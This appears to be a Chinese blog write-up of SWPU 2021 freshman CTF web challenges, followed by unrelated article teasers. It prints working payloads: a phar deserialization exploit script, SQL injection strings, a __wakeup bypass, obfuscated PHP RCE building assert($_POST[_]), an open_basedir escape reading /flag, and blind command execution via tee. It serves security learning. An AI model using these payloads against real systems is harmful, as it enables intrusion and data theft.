SWPU 2021 新生赛

server/2025/3/16 16:41:39/

babyunser

phar反序列化

利用文件查看器直接读到三个文件

read.php

<?php
include('class.php');
$a=new aa();
?>
error_reporting(0);
$filename=$_POST['file'];
if(!isset($filename)){die();
}
$file=new zz($filename);
$contents=$file->getFile();
?>
<br>
<textarea class="file_content" type="text" value=<?php echo "<br>".$contents;?>

class.php

<?php
class aa{public $name;public function __construct(){$this->name='aa';}public function __destruct(){$this->name=strtolower($this->name);}
}class ff{private $content;public $func;public function __construct(){$this->content="\<?php @eval(\$_POST[1]);?>";}public function __get($key){$this->$key->{$this->func}($_POST['cmd']);}
}class zz{public $filename;public $content='surprise';public function __construct($filename){$this->filename=$filename;}public function filter(){if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){die('这不合理');}}public function write($var){$filename=$this->filename;$lt=$this->filename->$var;//此功能废弃,不想写了}public function getFile(){$this->filter();$contents=file_get_contents($this->filename);if(!empty($contents)){return $contents;}else{die("404 not found");}}public function __toString(){$this->{$_POST['method']}($_POST['var']);return $this->content;}
}class xx{public $name;public $arg;public function __construct(){$this->name='eval';$this->arg='phpinfo();';}public function __call($name,$arg){$name($arg[0]);}
}

upload,php

<?phpif(isset($_POST['submit'])){$upload_path="upload/".md5(time()).".txt";$temp_file = $_FILES['upload_file']['tmp_name'];if (move_uploaded_file($temp_file, $upload_path)) {echo "文件路径:".$upload_path;} else {$msg = '上传失败';}}

因为上传的文件会直接被改名且成为txt文件,所以不考虑文件上传绕过rce

pop链条

{aa __strlower} --> {zz __toString  method=wreite,filename->$var} --> {ff __get,$key=$content=xx ,func=assert,} -->  {xx __call, $name=assert,$arg=$_POST}

其中

(解析 phar:// 伪协议时,会将其内容进行反序列化,所以 phar 里面的内容传入恶意 pop 链)

file=phar://...&method=write&var=content&cmd=system('cat /flag');

exp

<?php
class aa{public $name;function __construct(){$this->name = new zz();}
}class zz{public $filename;public $content='surprise';function __construct(){$this->filename = new ff();}}class ff{private $content;public $func = "assert";function __construct(){$this->content = new xx();}
}class xx{public $name;public $arg;
}$a = new aa();
echo urlencode(serialize($a));# 下面这部分就没改
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算

==>

POST read.phpfile=phar://upload/f17682891b083ec486fe811956039270.txt&method=write&var=content&cmd=system('cat /flag');

easy_md5

数组绕过

if ($name != $password && md5($name) == md5($password)){echo $flag;}

数组绕过

name[]=1password[]=2

easy_sql

/?wllm=-1' union select 1,2,3--+ 
/?wllm=-1' union select 1,2,database()--+/?wllm=-1' union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database())--+
/?wllm=-1' union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name='test_tb')--+/?wllm=-1' union select 1,2,(select group_concat(flag)from test_tb)--+

no_wakeup

wake up 绕过

 
class HaHaHa{public $admin;public $passwd;public function __construct(){$this->admin ="user";$this->passwd = "123456";}public function __wakeup(){$this->passwd = sha1($this->passwd);}public function __destruct(){if($this->admin === "admin" && $this->passwd === "wllm"){include("flag.php");echo $flag;}else{echo $this->passwd;echo "No wake up";}}}$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}Change toO:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

error

报错注入

?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+  
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)--+ ?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='test_tb' limit 1,1),0x7e),1)--+ 
这里涉及到flag显示一半的问题
?id=1' and updatexml(1,concat(0x7e,(select flag from test_tb),0x7e),1)--+ 
?id=1' and updatexml(1,concat(0x7e,(select right(flag,30) from test_tb),0x7e),1)--+

hardrce

取反绕过 rce

if(isset($_GET['wllm']))
{$wllm = $_GET['wllm'];$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];foreach ($blacklist as $blackitem){if (preg_match('/' . $blackitem . '/m', $wllm)) {die("LTLT说不能用这些奇奇怪怪的符号哦!");}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
<?php
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

hardrce_3

[参考][https://www.cnblogs.com/pursue-security/p/15404150.html]

自增绕过 rce

if(isset($_GET['wllm']))
{$wllm = $_GET['wllm'];$blacklist = [' ','\^','\~','\|'];foreach ($blacklist as $blackitem){if (preg_match('/' . $blackitem . '/m', $wllm)) {die("小伙子只会异或和取反?不好意思哦LTLT说不能用!!");}}
if(preg_match('/[a-zA-Z0-9]/is',$wllm))
{die("Ra'sAlGhul说用字母数字是没有灵魂的!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
//测试发现7.0.12以上版本不可使用
//使用时需要url编码下
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
固定格式 构造出来的 assert($_POST[_]);
然后post传入   _=phpinfo();

禁用了很多函数,但可以使用 file_put_contents

_=file_put_contents('1.php',"<?php print_r(ini_get('open_basedir').'<br>'); mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); echo file_get_contents('/flag'); print(1);?> ");

这段代码的目的是尝试绕过服务器的 open_basedir 限制,以读取服务器上的某些文件(如 /flag)。open_basedir 是 PHP 的一个安全设置,用于限制脚本只能访问指定目录内的文件。通过修改 open_basedir 的值并切换目录,代码试图突破这一限制。

<?php
// 获取 open_basedir 的当前值,并输出
print_r(ini_get('open_basedir').'<br>');// 创建一个名为 'test' 的目录
mkdir('test');// 切换到 'test' 目录
chdir('test');// 将 open_basedir 设置为 '..',即上一级目录
ini_set('open_basedir','..');// 返回上一级目录
chdir('..');// 再次返回上一级目录
chdir('..');// 再次返回上一级目录
chdir('..');// 将 open_basedir 设置为 '/'
ini_set('open_basedir','/');// 读取并输出 '/flag' 文件的内容
echo file_get_contents('/flag');// 输出数字 1
print(1);
?>

no echo rce

无回显 rce

if(isset($_GET['url']))
{$url=$_GET['url'];if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url)){echo "Sorry,you can't use this.";}else{echo "Can you see anything?";exec($url);}
/?url=tac /flllll\aaaaaaggggggg | tee 2.txt

然后访问 2.txt 即可

这种当然可以尝试反弹 shell

sql

sql fuzz,简单绕过,数据截取

/?wllm=-1'/**/union/**/select/**/1,2,database()%23
/?wllm=-1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()%23/?wllm=-1'/**/union/**/select/**/1,2,group_concat(flag)/**/from/**/LTLT_flag%23/?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(flag),20,40)/**/from/**/LTLT_flag%23

http://www.ppmy.cn/server/175477.html

相关文章

基于群智能算法的三维无线传感网络覆盖优化数学模型-可以使用群智能算法直接调用进行优化,完整MATLAB代码

1.1 三维覆盖模型 由于节点随机抛洒&#xff0c;而传感器节点的分布情况会影响网络覆盖率&#xff0c;以 R cov R_{\text{cov}} Rcov​ 作为覆盖率评价标准。在三维覆盖区域中&#xff0c;传感器节点的覆盖区域是某一半径确定的球。在三维监测区域中随机抛洒 N N N 个传感器…

如何用Python IP归属地查询API追踪网络活动?

在当今这个信息爆炸的时代&#xff0c;网络安全变得尤为重要。随着网络攻击和数据泄露事件的频发&#xff0c;了解网络活动的来源显得格外重要。使用Python结合IP归属地查询API&#xff0c;可以帮助我们追踪和分析网络活动。今天就来聊聊这个话题&#xff0c;看看怎么通过简单的…

Web3.0 从入门到实战:一站式开发指南

在科技浪潮持续翻涌的当下&#xff0c;Web3.0 作为互联网发展的全新篇章&#xff0c;正以前所未有的姿态重塑数字世界格局。从去中心化应用&#xff08;DApps&#xff09;蓬勃兴起&#xff0c;到区块链技术成为底层支撑架构&#xff0c;Web3.0 开启了一个用户真正掌控数据、价值…

PostgreSQL 时间/日期函数和操作符

PostgreSQL 提供了丰富的时间 / 日期函数和操作符&#xff0c;可用于时间和日期的处理、计算、格式化等操作&#xff0c;下面为你详细介绍&#xff1a; 常用数据类型 在介绍函数和操作符之前&#xff0c;先了解 PostgreSQL 中常用的时间 / 日期数据类型&#xff1a; DATE&am…

MyBatis一对多查询方式

在 MyBatis 中&#xff0c;一对多查询是指一个实体对象&#xff08;如 Order&#xff09;关联多个子对象&#xff08;如 OrderItem&#xff09;。这种关系在数据库中通常通过外键实现&#xff0c;而在 MyBatis 中可以通过 resultMap 的嵌套集合&#xff08;<collection>&…

C++【类和对象】(超详细!!!)

C【类和对象】 1.运算符重载2.赋值运算符重载3.日期类的实现 1.运算符重载 (1).C规定类类型运算符使用时&#xff0c;必须转换成调用运算符重载。 (2).运算符重载是具有特殊名字的函数&#xff0c;名字等于operator加需要使用的运算符&#xff0c;具有返回类型和参数列表及函数…

Blender选择循环边/循环面技巧

循环边和循环面都是有方向的 可以按方向选取相对应的循环边/循环面 按住ShiftAlt左键单击 竖着的边就会选择竖着的循环面 按住ShiftAlt左键单击 横着的边就会选择横着的循环面 也没人讲过这个 自己摸索出来的 , 真是踩坑无数 , 今天终于知道了...

Django 分页操作详解

Django 分页操作详解 在 Django 项目中&#xff0c;当处理大量数据时&#xff0c;分页是一项非常关键的功能。它不仅可以提高用户体验&#xff0c;还能减少服务器的负担。Django 提供了一个强大的分页工具——django.core.paginator.Paginator&#xff0c;可以很方便地实现数据…